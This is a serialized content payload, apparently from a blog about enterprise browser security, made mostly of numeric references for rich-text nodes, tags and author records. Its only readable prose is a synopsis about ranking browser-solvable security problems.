28942],{"data":28943,"marks":28944,"value":7011,"nodeType":865},{},[28945],{"type":943},{"data":28947,"marks":28948,"value":2302,"nodeType":865},{},[],{"items":28950},[28951,28953],{"sys":28952,"name":297},{"id":2310},{"sys":28954,"name":2314},{"id":2313},{"items":28956},[28957],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":28958},{"url":7804},{"__typename":1429,"sys":28960,"content":28961,"title":25283,"synopsis":25284,"hashTags":59,"publishedDate":17656,"slug":25285,"tagsCollection":29621,"authorsCollection":29627},{"id":24517},{"json":28962},{"data":28963,"content":28964,"nodeType":1382},{},[28965,28970,28976,28982,28988,28991,28998,29004,29014,29024,29029,29035,29038,29045,29051,29056,29062,29068,29161,29167,29170,29177,29183,29238,29251,29256,29262,29265,29272,29278,29285,29291,29297,29322,29328,29335,29341,29347,29353,29360,29366,29372,29378,29381,29388,29398,29404,29410,29417,29423,29429,29436,29442,29497,29510,29525,29532,29538,29545,29551,29557,29563,29568,29575,29581,29587,29592,29598,29604,29610,29615],{"data":28966,"content":28969,"nodeType":912},{"target":28967},{"sys":28968},{"id":24526,"type":909,"linkType":910},[],{"data":28971,"content":28972,"nodeType":866},{},[28973],{"data":28974,"marks":28975,"value":24534,"nodeType":865},{},[],{"data":28977,"content":28978,"nodeType":866},{},[28979],{"data":28980,"marks":28981,"value":24541,"nodeType":865},{},[],{"data":28983,"content":28984,"nodeType":866},{},[28985],{"data":28986,"marks":28987,"value":24548,"nodeType":865},{},[],{"data":28989,"content":28990,"nodeType":972},{},[],{"data":28992,"content":28993,"nodeType":981},{},[28994],{"data":28995,"marks":28996,"value":24559,"nodeType":865},{},[28997],{"type":926},{"data":28999,"content":29000,"nodeType":866},{},[29001],{"data":29002,"marks":29003,"value":24566,"nodeType":865},{},[],{"data":29005,"content":29006,"nodeType":866},{},[29007,29011],{"data":29008,"marks":29009,"value":24574,"nodeType":865},{},[29010],{"type":926},{"data":29012,"marks":29013,"value":24578,"nodeType":865},{},[],{"data":29015,"content":29016,"nodeType":866},{},[29017,29021],{"data":29018,"marks":29019,"value":24586,"nodeType":865},{},[29020],{"type":926},{"data":29022,"marks":29023,"value":24590,"nodeType":865},{},[],{"data":29025,"content":29028,"nodeType":912},{"target":29026},{"sys":29027},{"id":12658,"type":909,"linkType":910},[],{"data":29030,"content":29031,"nodeType":866},{},[29032],{"data":29033,"marks":29034,"value":24602,"nodeType":865},{},[],{"data":29036,"content":29037,"nodeType":972},{},[],{"data":29039,"content":29040,"nodeType":981},{},[29041],{"data":29042,"marks":29043,"value":24613,"nodeType":865},{},[29044],{"type":926},{"data":29046,"content":29047,"nodeType":866},{},[29048],{"data":29049,"marks":29050,"value":24620,"nodeType":865},{},[],{"data":29052,"content":29055,"nodeType":912},{"target":29053},{"sys":29054},{"id":24625,"type":909,"linkType":910},[],{"data":29057,"content":29058,"nodeType":866},{},[29059],{"data":29060,"marks":29061,"value":24633,"nodeType":865},{},[],{"data":29063,"content":29064,"nodeType":866},{},[29065],{"data":29066,"marks":29067,"value":24640,"nodeType":865},{},[],{"data":29069,"content":29070,"nodeType":1616},{},[29071,29087,29103,29119,29135,29148],{"data":29072,"content":29073,"nodeType":1570},{},[29074],{"data":29075,"content":29076,"nodeType":866},{},[29077,29080,29084],{"data":29078,"marks":29079,"value":24653,"nodeType":865},{},[],{"data":29081,"marks":29082,"value":23998,"nodeType":865},{},[29083],{"type":926},{"data":29085,"marks":29086,"value":24661,"nodeType":865},{},[],{"data":29088,"content":29089,"nodeType":1570},{},[29090],{"data":29091,"content":29092,"nodeType":866},{},[29093,29096,29100],{"data":29094,"marks":29095,"value":24671,"nodeType":865},{},[],{"data":29097,"marks":29098,"value":24676,"nodeType":865},{},[29099],{"type":926},{"data":29101,"marks":29102,"value":24680,"nodeType":865},{},[],{"data":29104,"content":29105,"nodeType":1570},{},[29106],{"data":29107,"content":29108,"nodeType":866},{},[29109,29112,29116],{"data":29110,"marks":29111,"value":24690,"nodeType":865},{},[],{"data":29113,"marks":29114,"value":24695,"nodeType":865},{},[29115],{"type":926},{"data":29117,"marks":29118,"value":24699,"nodeType":865},{},[],{"data":29120,"content":29121,"nodeType":1570},{},[29122],{"data":29123,"content":29124,"nodeType":866},{},[29125,29128,29132],{"data":29126,"marks":29127,"value":24709,"nodeType":865},{},[],{"data":29129,"marks":29130,"value":24714,"nodeType":865},{},[29131],{"type":926},{"data":29133,"marks":29134,"value":24718,"nodeType":865},{},[],{"data":29136,"content":29137,"nodeType":1570},{},[29138],{"data":29139,"content":29140,"nodeType":866},{},[29141,29145],{"data":29142,"marks":29143,"value":4757,"nodeType":865},{},[29144],{"type":926},{"data":29146,"marks":29147,"value":24732,"nodeType":865},{},[],{"data":29149,"content":29150,"nodeType":1570},{},[29151],{"data":29152,"content":29153,"nodeType":866},{},[29154,29158],{"data":29155,"marks":29156,"value":24743,"nodeType":865},{},[29157],{"type":926},{"data":29159,"marks":29160,"value":24747,"nodeType":865},{},[],{"data":29162,"content":29163,"nodeType":866},{},[29164],{"data":29165,"marks":29166,"value":24754,"nodeType":865},{},[],{"data":29168,"content":29169,"nodeType":972},{},[],{"data":29171,"content":29172,"nodeType":1317},{},[29173],{"data":29174,"marks":29175,"value":24765,"nodeType":865},{},[29176],{"type":926},{"data":29178,"content":29179,"nodeType":866},{},[29180],{"data":29181,"marks":29182,"value":24772,"nodeType":865},{},[],{"data":29184,"content":29185,"nodeType":1616},{},[29186,29199,29212,29225],{"data":29187,"content":29188,"nodeType":1570},{},[29189],{"data":29190,"content":29191,"nodeType":866},{},[29192,29195],{"data":29193,"marks":29194,"value":24785,"nodeType":865},{},[],{"data":29196,"marks":29197,"value":24790,"nodeType":865},{},[29198],{"type":926},{"data":29200,"content":29201,"nodeType":1570},{},[29202],{"data":29203,"content":29204,"nodeType":866},{},[29205,29208],{"data":29206,"marks":29207,"value":24800,"nodeType":865},{},[],{"data":29209,"marks":29210,"value":24805,"nodeType":865},{},[29211],{"type":926},{"data":29213,"content":29214,"nodeType":1570},{},[29215],{"data":29216,"content":29217,"nodeType":866},{},[29218,29221],{"data":29219,"marks":29220,"value":24815,"nodeType":865},{},[],{"data":29222,"marks":29223,"value":24820,"nodeType":865},{},[29224],{"type":926},{"data":29226,"content":29227,"nodeType":1570},{},[29228],{"data":29229,"content":29230,"nodeType":866},{},[29231,29234],{"data":29232,"marks":29233,"value":24830,"nodeType":865},{},[],{"data":29235,"marks":29236,"value":24835,"nodeType":865},{},[29237],{"type":926},{"data":29239,"content":29240,"nodeType":866},{},[29241,29244,29248],{"data":29242,"marks":29243,"value":24842,"nodeType":865},{},[],{"data":29245,"marks":29246,"value":24847,"nodeType":865},{},[29247],{"type":926},{"data":29249,"marks":29250,"value":24851,"nodeType":865},{},[],{"data":29252,"content":29255,"nodeType":912},{"target":29253},{"sys":29254},{"id":24856,"type":909,"linkType":910},[],{"data":29257,"content":29258,"nodeType":866},{},[29259],{"data":29260,"marks":29261,"value":24864,"nodeType":865},{},[],{"data":29263,"content":29264,"nodeType":972},{},[],{"data":29266,"content":29267,"nodeType":981},{},[29268],{"data":29269,"marks":29270,"value":24875,"nodeType":865},{},[29271],{"type":926},{"data":29273,"content":29274,"nodeType":866},{},[29275],{"data":29276,"marks":29277,"value":24882,"nodeType":865},{},[],{"data":29279,"content":29280,"nodeType":1317},{},[29281],{"data":29282,"marks":29283,"value":24890,"nodeType":865},{},[29284],{"type":926},{"data":29286,"content":29287,"nodeType":866},{},[29288],{"data":29289,"marks":29290,"value":24897,"nodeType":865},{},[],{"data":29292,"content":29293,"nodeType":866},{},[29294],{"data":29295,"marks":29296,"value":24904,"nodeType":865},{},[],{"data":29298,"content":29299,"nodeType":866},{},[29300,29303,29309,29312,29319],{"data":29301,"marks":29302,"value":24911,"nodeType":865},{},[],{"data":29304,"content":29305,"nodeType":889},{"uri":3963},[29306],{"data":29307,"marks":29308,"value":24918,"nodeType":865},{},[],{"data":29310,"marks":29311,"value":24922,"nodeType":865},{},[],{"data":29313,"content":29314,"nodeType":889},{"uri":24925},[29315],{"data":29316,"marks":29317,"value":24931,"nodeType":865},{},[29318],{"type":943},{"data":29320,"marks":29321,"value":24935,"nodeType":865},{},[],{"data":29323,"content":29324,"nodeType":866},{},[29325],{"data":29326,"marks":29327,"value":24942,"nodeType":865},{},[],{"data":29329,"content":29330,"nodeType":1317},{},[29331],{"data":29332,"marks":29333,"value":24950,"nodeType":865},{},[29334],{"type":926},{"data":29336,"content":29337,"nodeType":866},{},[29338],{"data":29339,"marks":29340,"value":24957,"nodeType":865},{},[],{"data":29342,"content":29343,"nodeType":866},{},[29344],{"data":29345,"marks":29346,"value":24964,"nodeType":865},{},[],{"data":29348,"content":29349,"nodeType":866},{},[29350],{"data":29351,"marks":29352,"value":24971,"nodeType":865},{},[],{"data":29354,"content":29355,"nodeType":1317},{},[29356],{"data":29357,"marks":29358,"value":24979,"nodeType":865},{},[29359],{"type":926},{"data":29361,"content":29362,"nodeType":866},{},[29363],{"data":29364,"marks":29365,"value":24986,"nodeType":865},{},[],{"data":29367,"content":29368,"nodeType":866},{},[29369],{"data":29370,"marks":29371,"value":24993,"nodeType":865},{},[],{"data":29373,"content":29374,"nodeType":866},{},[29375],{"data":29376,"marks":29377,"value":25000,"nodeType":865},{},[],{"data":29379,"content":29380,"nodeType":972},{},[],{"data":29382,"content":29383,"nodeType":981},{},[29384],{"data":29385,"marks":29386,"value":25011,"nodeType":865},{},[29387],{"type":926},{"data":29389,"content":29390,"nodeType":866},{},[29391,29395],{"data":29392,"marks":29393,"value":25019,"nodeType":865},{},[29394],{"type":926},{"data":29396,"marks":29397,"value":25023,"nodeType":865},{},[],{"data":29399,"content":29400,"nodeType":866},{},[29401],{"data":29402,"marks":29403,"value":25030,"nodeType":865},{},[],{"data":29405,"content":29406,"nodeType":866},{},[29407],{"data":29408,"marks":29409,"value":25037,"nodeType":865},{},[],{"data":29411,"content":29412,"nodeType":1317},{},[29413],{"data":29414,"marks":29415,"value":25045,"nodeType":865},{},[29416],{"type":926},{"data":29418,"content":29419,"nodeType":866},{},[29420],{"data":29421,"marks":29422,"value":25052,"nodeType":865},{},[],{"data":29424,"content":29425,"nodeType":866},{},[29426],{"data":29427,"marks":29428,"value":25059,"nodeType":865},{},[],{"data":29430,"content":29431,"nodeType":1317},{},[29432],{"data":29433,"marks":29434,"value":25067,"nodeType":865},{},[29435],{"type":926},{"data":29437,"content":29438,"nodeType":866},{},[29439],{"data":29440,"marks":29441,"value":25074,"nodeType":865},{},[],{"data":29443,"content":29444,"nodeType":1616},{},[29445,29458,29471,29484],{"data":29446,"content":29447,"nodeType":1570},{},[29448],{"data":29449,"content":29450,"nodeType":866},{},[29451,29455],{"data":29452,"marks":29453,"value":25088,"nodeType":865},{},[29454],{"type":926},{"data":29456,"marks":29457,"value":25092,"nodeType":865},{},[],{"data":29459,"content":29460,"nodeType":1570},{},[29461],{"data":29462,"content":29463,"nodeType":866},{},[29464,29468],{"data":29465,"marks":29466,"value":25103,"nodeType":865},{},[29467],{"type":926},{"data":29469,"marks":29470,"value":25107,"nodeType":865},{},[],{"data":29472,"content":29473,"nodeType":1570},{},[29474],{"data":29475,"content":29476,"nodeType":866},{},[29477,29481],{"data":29478,"marks":29479,"value":25118,"nodeType":865},{},[29480],{"type":926},{"data":29482,"marks":29483,"value":25122,"nodeType":865},{},[],{"data":29485,"content":29486,"nodeType":1570},{},[29487],{"data":29488,"content":29489,"nodeType":866},{},[29490,29494],{"data":29491,"marks":29492,"value":25133,"nodeType":865},{},[29493],{"type":926},{"data":29495,"marks":29496,"value":25137,"nodeType":865},{},[],{"data":29498,"content":29499,"nodeType":866},{},[29500,29503,29507],{"data":29501,"marks":29502,"value":25144,"nodeType":865},{},[],{"data":29504,"marks":29505,"value":25149,"nodeType":865},{},[29506],{"type":926},{"data":29508,"marks":29509,"value":25153,"nodeType":865},{},[],{"data":29511,"content":29512,"nodeType":866},{},[29513,29516,29522],{"data":29514,"marks":29515,"value":25160,"nodeType":865},{},[],{"data":29517,"content":29518,"nodeType":889},{"uri":1902},[29519],{"data":29520,"marks":29521,"value":25167,"nodeType":865},{},[],{"data":29523,"marks":29524,"value":25171,"nodeType":865},{},[],{"data":29526,"content":29527,"nodeType":1317},{},[29528],{"data":29529,"marks":29530,"value":25179,"nodeType":865},{},[29531],{"type":926},{"data":29533,"content":29534,"nodeType":866},{},[29535],{"data":29536,"marks":29537,"value":25186,"nodeType":865},{},[],{"data":29539,"content":29540,"nodeType":866},{},[29541],{"data":29542,"marks":29543,"value":25194,"nodeType":865},{},[29544],{"type":926},{"data":29546,"content":29547,"nodeType":866},{},[29548],{"data":29549,"marks":29550,"value":25201,"nodeType":865},{},[],{"data":29552,"content":29553,"nodeType":866},{},[29554],{"data":29555,"marks":29556,"value":25208,"nodeType":865},{},[],{"data":29558,"content":29559,"nodeType":866},{},[29560],{"data":29561,"marks":29562,"value":25215,"nodeType":865},{},[],{"data":29564,"content":29567,"nodeType":912},{"target":29565},{"sys":29566},{"id":25220,"type":909,"linkType":910},[],{"data":29569,"content":29570,"nodeType":1317},{},[29571],{"data":29572,"marks":29573,"value":25229,"nodeType":865},{},[29574],{"type":926},{"data":29576,"content":29577,"nodeType":866},{},[29578],{"data":29579,"marks":29580,"value":25236,"nodeType":865},{},[],{"data":29582,"content":29583,"nodeType":866},{},[29584],{"data":29585,"marks":29586,"value":25243,"nodeType":865},{},[],{"data":29588,"content":29591,"nodeType":912},{"target":29589},{"sys":29590},{"id":25248,"type":909,"linkType":910},[],{"data":29593,"content":29594,"nodeType":866},{},[29595],{"data":29596,"marks":29597,"value":25256,"nodeType":865},{},[],{"data":29599,"content":29600,"nodeType":866},{},[29601],{"data":29602,"marks":29603,"value":25263,"nodeType":865},{},[],{"data":29605,"content":29606,"nodeType":866},{},[29607],{"data":29608,"marks":29609,"value":25270,"nodeType":865},{},[],{"data":29611,"content":29614,"nodeType":912},{"target":29612},{"sys":29613},{"id":25275,"type":909,"linkType":910},[],{"data":29616,"content":29617,"nodeType":866},{},[29618],{"data":29619,"marks":29620,"value":21,"nodeType":865},{},[],{"items":29622},[29623,29625],{"sys":29624,"name":297},{"id":2310},{"sys":29626,"name":2314},{"id":2313},{"items":29628},[29629],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":29630},{"url":4618},{"__typename":1429,"sys":29632,"content":29633,"title":7015,"synopsis":7016,"hashTags":59,"publishedDate":7017,"slug":7018,"tagsCollection":30063,"authorsCollection":30069},{"id":6506},{"json":29634},{"data":29635,"content":29636,"nodeType":1382},{},[29637,29644,29668,29673,29679,29694,29707,29710,29717,29730,29746,29766,29771,29784,29808,29813,29818,29831,29834,29841,29847,29854,29870,29883,29890,29912,29918,29925,29949,29955,29962,29968,29973,29976,29983,29989,29996,30001,30004,30011,30017,30023,30029,30039,30042,30048],{"data":29638,"content":29639,"nodeType":981},{},[29640],{"data":29641,"marks":29642,"value":6518,"nodeType":865},{},[29643],{"type":926},{"data":29645,"content":29646,"nodeType":866},{},[29647,29650,29656,29659,29665],{"data":29648,"marks":29649,"value":6525,"nodeType":865},{},[],{"data":29651,"content":29652,"nodeType":889},{"uri":6528},[29653],{"data":29654,"marks":29655,"value":6533,"nodeType":865},{},[],{"data":29657,"marks":29658,"value":6537,"nodeType":865},{},[],{"data":29660,"content":29661,"nodeType":889},{"uri":6540},[29662],{"data":29663,"marks":29664,"value":6545,"nodeType":865},{},[],{"data":29666,"marks":29667,"value":6549,"nodeType":865},{},[],{"data":29669,"content":29672,"nodeType":912},{"target":29670},{"sys":29671},{"id":6554,"type":909,"linkType":910},[],{"data":29674,"content":29675,"nodeType":866},{},[29676],{"data":29677,"marks":29678,"value":6562,"nodeType":865},{},[],{"data":29680,"content":29681,"nodeType":866},{},[29682,29685,29691],{"data":29683,"marks":29684,"value":6569,"nodeType":865},{},[],{"data":29686,"content":29687,"nodeType":889},{"uri":6572},[29688],{"data":29689,"marks":29690,"value":6577,"nodeType":865},{},[],{"data":29692,"marks":29693,"value":6581,"nodeType":865},{},[],{"data":29695,"content":29696,"nodeType":866},{},[29697,29700,29704],{"data":29698,"marks":29699,"value":6588,"nodeType":865},{},[],{"data":29701,"marks":29702,"value":6593,"nodeType":865},{},[29703],{"type":926},{"data":29705,"marks":29706,"value":1615,"nodeType":865},{},[],{"data":29708,"content":29709,"nodeType":972},{},[],{"data":29711,"content":29712,"nodeType":981},{},[29713],{"data":29714,"marks":29715,"value":6607,"nodeType":865},{},[29716],{"type":926},{"data":29718,"content":29719,"nodeType":866},{},[29720,29723,29727],{"data":29721,"marks":29722,"value":6614,"nodeType":865},{},[],{"data":29724,"marks":29725,"value":6619,"nodeType":865},{},[29726],{"type":898},{"data":29728,"marks":29729,"value":1615,"nodeType":865},{},[],{"data":29731,"content":29732,"nodeType":866},{},[29733,29736,29743],{"data":29734,"marks":29735,"value":6629,"nodeType":865},{},[],{"data":29737,"content":29738,"nodeType":889},{"uri":6347},[29739],{"data":29740,"marks":29741,"value":6637,"nodeType":865},{},[29742],{"type":943},{"data":29744,"marks":29745,"value":6641,"nodeType":865},{},[],{"data":29747,"content":29748,"nodeType":866},{},[29749,29752,29756,29759,29763],{"data":29750,"marks":29751,"value":6648,"nodeType":865},{},[],{"data":29753,"marks":29754,"value":6653,"nodeType":865},{},[29755],{"type":926},{"data":29757,"marks":29758,"value":6657,"nodeType":865},{},[],{"data":29760,"marks":29761,"value":6662,"nodeType":865},{},[29762],{"type":898},{"data":29764,"marks":29765,"value":6666,"nodeType":865},{},[],{"data":29767,"content":29770,"nodeType":912},{"target":29768},{"sys":29769},{"id":6671,"type":909,"linkType":910},[],{"data":29772,"content":29773,"nodeType":866},{},[29774,29777,29781],{"data":29775,"marks":29776,"value":6679,"nodeType":865},{},[],{"data":29778,"marks":29779,"value":6684,"nodeType":865},{},[29780],{"type":926},{"data":29782,"marks":29783,"value":6688,"nodeType":865},{},[],{"data":29785,"content":29786,"nodeType":866},{},[29787,29790,29796,29799,29805],{"data":29788,"marks":29789,"value":6695,"nodeType":865},{},[],{"data":29791,"content":29792,"nodeType":889},{"uri":6698},[29793],{"data":29794,"marks":29795,"value":6703,"nodeType":865},{},[],{"data":29797,"marks":29798,"value":6707,"nodeType":865},{},[],{"data":29800,"content":29801,"nodeType":889},{"uri":6710},[29802],{"data":29803,"marks":29804,"value":6715,"nodeType":865},{},[],{"data":29806,"marks":29807,"value":6719,"nodeType":865},{},[],{"data":29809,"content":29812,"nodeType":912},{"target":29810},{"sys":29811},{"id":6724,"type":909,"linkType":910},[],{"data":29814,"content":29817,"nodeType":912},{"target":29815},{"sys":29816},{"id":6730,"type":909,"linkType":910},[],{"data":29819,"content":29820,"nodeType":866},{},[29821,29824,29828],{"data":29822,"marks":29823,"value":6738,"nodeType":865},{},[],{"data":29825,"marks":29826,"value":6743,"nodeType":865},{},[29827],{"type":926},{"data":29829,"marks":29830,"value":6747,"nodeType":865},{},[],{"data":29832,"content":29833,"nodeType":972},{},[],{"data":29835,"content":29836,"nodeType":981},{},[29837],{"data":29838,"marks":29839,"value":6758,"nodeType":865},{},[29840],{"type":926},{"data":29842,"content":29843,"nodeType":866},{},[29844],{"data":29845,"marks":29846,"value":6765,"nodeType":865},{},[],{"data":29848,"content":29849,"nodeType":1317},{},[29850],{"data":29851,"marks":29852,"value":6773,"nodeType":865},{},[29853],{"type":926},{"data":29855,"content":29856,"nodeType":866},{},[29857,29860,29867],{"data":29858,"marks":29859,"value":21,"nodeType":865},{},[],{"data":29861,"content":29862,"nodeType":889},{"uri":3841},[29863],{"data":29864,"marks":29865,"value":6787,"nodeType":865},{},[29866],{"type":943},{"data":29868,"marks":29869,"value":6791,"nodeType":865},{},[],{"data":29871,"content":29872,"nodeType":866},{},[29873,29876,29880],{"data":29874,"marks":29875,"value":6798,"nodeType":865},{},[],{"data":29877,"marks":29878,"value":6803,"nodeType":865},{},[29879],{"type":926},{"data":29881,"marks":29882,"value":6807,"nodeType":865},{},[],{"data":29884,"content":29885,"nodeType":1317},{},[29886],{"data":29887,"marks":29888,"value":288,"nodeType":865},{},[29889],{"type":926},{"data":29891,"content":29892,"nodeType":866},{},[29893,29897,29905,29909],{"data":29894,"marks":29895,"value":21,"nodeType":865},{},[29896],{"type":926},{"data":29898,"content":29899,"nodeType":889},{"uri":3720},[29900],{"data":29901,"marks":29902,"value":6830,"nodeType":865},{},[29903,29904],{"type":943},{"type":926},{"data":29906,"marks":29907,"value":6835,"nodeType":865},{},[29908],{"type":926},{"data":29910,"marks":29911,"value":6839,"nodeType":865},{},[],{"data":29913,"content":29914,"nodeType":866},{},[29915],{"data":29916,"marks":29917,"value":6846,"nodeType":865},{},[],{"data":29919,"content":29920,"nodeType":1317},{},[29921],{"data":29922,"marks":29923,"value":6854,"nodeType":865},{},[29924],{"type":926},{"data":29926,"content":29927,"nodeType":866},{},[29928,29931,29937,29940,29946],{"data":29929,"marks":29930,"value":6861,"nodeType":865},{},[],{"data":29932,"content":29933,"nodeType":889},{"uri":6864},[29934],{"data":29935,"marks":29936,"value":6869,"nodeType":865},{},[],{"data":29938,"marks":29939,"value":6873,"nodeType":865},{},[],{"data":29941,"content":29942,"nodeType":889},{"uri":1929},[29943],{"data":29944,"marks":29945,"value":6880,"nodeType":865},{},[],{"data":29947,"marks":29948,"value":6884,"nodeType":865},{},[],{"data":29950,"content":29951,"nodeType":866},{},[29952],{"data":29953,"marks":29954,"value":6891,"nodeType":865},{},[],{"data":29956,"content":29957,"nodeType":1317},{},[29958],{"data":29959,"marks":29960,"value":6899,"nodeType":865},{},[29961],{"type":926},{"data":29963,"content":29964,"nodeType":866},{},[29965],{"data":29966,"marks":29967,"value":6906,"nodeType":865},{},[],{"data":29969,"content":29972,"nodeType":912},{"target":29970},{"sys":29971},{"id":6911,"type":909,"linkType":910},[],{"data":29974,"content":29975,"nodeType":972},{},[],{"data":29977,"content":29978,"nodeType":981},{},[29979],{"data":29980,"marks":29981,"value":6923,"nodeType":865},{},[29982],{"type":926},{"data":29984,"content":29985,"nodeType":866},{},[29986],{"data":29987,"marks":29988,"value":6930,"nodeType":865},{},[],{"data":29990,"content":29991,"nodeType":866},{},[29992],{"data":29993,"marks":29994,"value":6938,"nodeType":865},{},[29995],{"type":926},{"data":29997,"content":30000,"nodeType":912},{"target":29998},{"sys":29999},{"id":6943,"type":909,"linkType":910},[],{"data":30002,"content":30003,"nodeType":972},{},[],{"data":30005,"content":30006,"nodeType":1317},{},[30007],{"data":30008,"marks":30009,"value":6955,"nodeType":865},{},[30010],{"type":926},{"data":30012,"content":30013,"nodeType":866},{},[30014],{"data":30015,"marks":30016,"value":6962,"nodeType":865},{},[],{"data":30018,"content":30019,"nodeType":866},{},[30020],{"data":30021,"marks":30022,"value":6969,"nodeType":865},{},[],{"data":30024,"content":30025,"nodeType":866},{},[30026],{"data":30027,"marks":30028,"value":6976,"nodeType":865},{},[],{"data":30030,"content":30031,"nodeType":866},{},[30032,30036],{"data":30033,"marks":30034,"value":6984,"nodeType":865},{},[30035],{"type":926},{"data":30037,"marks":30038,"value":6988,"nodeType":865},{},[],{"data":30040,"content":30041,"nodeType":972},{},[],{"data":30043,"content":30044,"nodeType":866},{},[30045],{"data":30046,"marks":30047,"value":4591,"nodeType":865},{},[],{"data":30049,"content":30050,"nodeType":866},{},[30051,30054,30060],{"data":30052,"marks":30053,"value":7004,"nodeType":865},{},[],{"data":30055,"content":30056,"nodeType":889},{"uri":5477},[30057],{"data":30058,"marks":30059,"value":7011,"nodeType":865},{},[],{"data":30061,"marks":30062,"value":2302,"nodeType":865},{},[],{"items":30064},[30065,30067],{"sys":30066,"name":2314},{"id":2313},{"sys":30068,"name":342},{"id":4642},{"items":30070},[30071],{"fullName":849,"firstName":850,"jobTitle":851,"profilePicture":30072},{"url":853},"blog/the-top-10-security-problems-you-can-solve-in-the-browser-ranked-by-value",{"json":30075},{"data":30076,"content":30077,"nodeType":1382},{},[30078],{"data":30079,"content":30080,"nodeType":866},{},[30081],{"data":30082,"marks":30083,"value":30084,"nodeType":865},{},[],"Getting a clear picture of which solution is right for your team means understanding what problem you want to solve, and identifying if the browser is the best place to solve that problem. To help you navigate this, we've ranked the security problems you can solve in the browser by security value and browser fit.",{"id":3365,"publishedAt":30086},"2026-08-12T11:52:50.048Z",{"items":30088},[30089,30091],{"sys":30090,"name":297},{"id":2310},{"sys":30092,"name":2314},{"id":2313},{"items":30094},[30095,30097,30099,30101,30103,30105,30107,30109,30111,30113,30115,30117,30119,30121,30123,30125,30127,30129,30131,30133,30135,30137,30139,30141,30143],{"sys":30096,"name":297,"slug":298,"tier":31},{"id":294},{"sys":30098,"name":413,"slug":414,"tier":31},{"id":410},{"sys":30100,"name":279,"slug":280,"tier":31},{"id":276},{"sys":30102,"name":519,"slug":520,"tier":31},{"id":516},{"sys":30104,"name":235,"slug":236,"tier":31},{"id":232},{"sys":30106,"name":342,"slug":343,"tier":31},{"id":339},{"sys":30108,"name":545,"slug":546,"tier":31},{"id":542},{"sys":30110,"name":261,"slug":262,"tier":45},{"id":258},{"sys":30112,"name":589,"slug":590,"tier":45},{"id":586},{"sys":30114,"name":288,"slug":289,"tier":45},{"id":285},{"sys":30116,"name":484,"slug":485,"tier":45},{"id":481},{"sys":30118,"name":422,"slug":423,"tier":45},{"id":419},{"sys":30120,"name":502,"slug":503,"tier":45},{"id":499},{"sys":30122,"name":333,"slug":334,"tier":45},{"id":330},{"sys":30124,"name":395,"slug":396,"tier":45},{"id":392},{"sys":30126,"name":457,"slug":458,"tier":45},{"id":454},{"sys":30128,"name":315,"slug":316,"tier":45},{"id":312},{"sys":30130,"name":324,"slug":325,"tier":45},{"id":321},{"sys":30132,"name":571,"slug":572,"tier":45},{"id":568},{"sys":30134,"name":368,"slug":369,"tier":45},{"id":365},{"sys":30136,"name":580,"slug":581,"tier":45},{"id":577},{"sys":30138,"name":252,"slug":253,"tier":45},{"id":249},{"sys":30140,"name":475,"slug":476,"tier":45},{"id":472},{"sys":30142,"name":440,"slug":441,"tier":45},{"id":437},{"sys":30144,"name":633,"slug":634,"tier":45},{"id":630},"eheGEg-9k5C4bph8PtOCjFzhTfglI3HL0C87-kCdH4c",{"id":30147,"title":17654,"authorsCollection":30148,"content":30154,"extension":228,"faqItemsCollection":30771,"faqTitle":59,"featured":6,"hashTags":59,"meta":30773,"metaTitle":30774,"ogImage":59,"postType":1424,"publishedDate":17656,"relatedBlogPostsCollection":30775,"slug":17657,"stem":32724,"subtitle":59,"summary":32725,"synopsis":17655,"sys":32736,"tagsCollection":32738,"topicsCollection":32744,"__hash__":32784},"blog/blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market.json",{"items":30149},[30150],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":30151,"profilePicture":30153},[30152],"https://www.linkedin.com/in/daniel-g-/",{"url":7804},{"json":30155,"links":30650},{"data":30156,"content":30157,"nodeType":1382},{},[30158,30173,30179,30185,30190,30193,30200,30213,30219,30224,30230,30305,30311,30316,30322,30327,30330,30337,30347,30353,30363,30366,30373,30386,30392,30398,30401,30408,30414,30427,30432,30445,30451,30457,30463,30476,30482,30485,30492,30498,30511,30517,30520,30527,30540,30546,30562,30572,30575,30582,30595,30601,30607,30613,30619,30622,30628,30634],{"data":30159,"content":30160,"nodeType":866},{},[30161,30164,30170],{"data":30162,"marks":30163,"value":1449,"nodeType":865},{},[],{"data":30165,"content":30166,"nodeType":889},{"uri":17092},[30167],{"data":30168,"marks":30169,"value":17097,"nodeType":865},{},[],{"data":30171,"marks":30172,"value":17101,"nodeType":865},{},[],{"data":30174,"content":30175,"nodeType":866},{},[30176],{"data":30177,"marks":30178,"value":17108,"nodeType":865},{},[],{"data":30180,"content":30181,"nodeType":866},{},[30182],{"data":30183,"marks":30184,"value":17115,"nodeType":865},{},[],{"data":30186,"content":30189,"nodeType":912},{"target":30187},{"sys":30188},{"id":17120,"type":909,"linkType":910},[],{"data":30191,"content":30192,"nodeType":972},{},[],{"data":30194,"content":30195,"nodeType":981},{},[30196],{"data":30197,"marks":30198,"value":17132,"nodeType":865},{},[30199],{"type":926},{"data":30201,"content":30202,"nodeType":866},{},[30203,30206,30210],{"data":30204,"marks":30205,"value":17139,"nodeType":865},{},[],{"data":30207,"marks":30208,"value":17144,"nodeType":865},{},[30209],{"type":926},{"data":30211,"marks":30212,"value":17148,"nodeType":865},{},[],{"data":30214,"content":30215,"nodeType":866},{},[30216],{"data":30217,"marks":30218,"value":17155,"nodeType":865},{},[],{"data":30220,"content":30223,"nodeType":912},{"target":30221},{"sys":30222},{"id":17160,"type":909,"linkType":910},[],{"data":30225,"content":30226,"nodeType":866},{},[30227],{"data":30228,"marks":30229,"value":17168,"nodeType":865},{},[],{"data":30231,"content":30232,"nodeType":1616},{},[30233,30242,30251,30260,30269,30278,30287,30296],{"data":30234,"content":30235,"nodeType":1570},{},[30236],{"data":30237,"content":30238,"nodeType":866},{},[30239],{"data":30240,"marks":30241,"value":17181,"nodeType":865},{},[],{"data":30243,"content":30244,"nodeType":1570},{},[30245],{"data":30246,"content":30247,"nodeType":866},{},[30248],{"data":30249,"marks":30250,"value":17191,"nodeType":865},{},[],{"data":30252,"content":30253,"nodeType":1570},{},[30254],{"data":30255,"content":30256,"nodeType":866},{},[30257],{"data":30258,"marks":30259,"value":17201,"nodeType":865},{},[],{"data":30261,"content":30262,"nodeType":1570},{},[30263],{"data":30264,"content":30265,"nodeType":866},{},[30266],{"data":30267,"marks":30268,"value":17211,"nodeType":865},{},[],{"data":30270,"content":30271,"nodeType":1570},{},[30272],{"data":30273,"content":30274,"nodeType":866},{},[30275],{"data":30276,"marks":30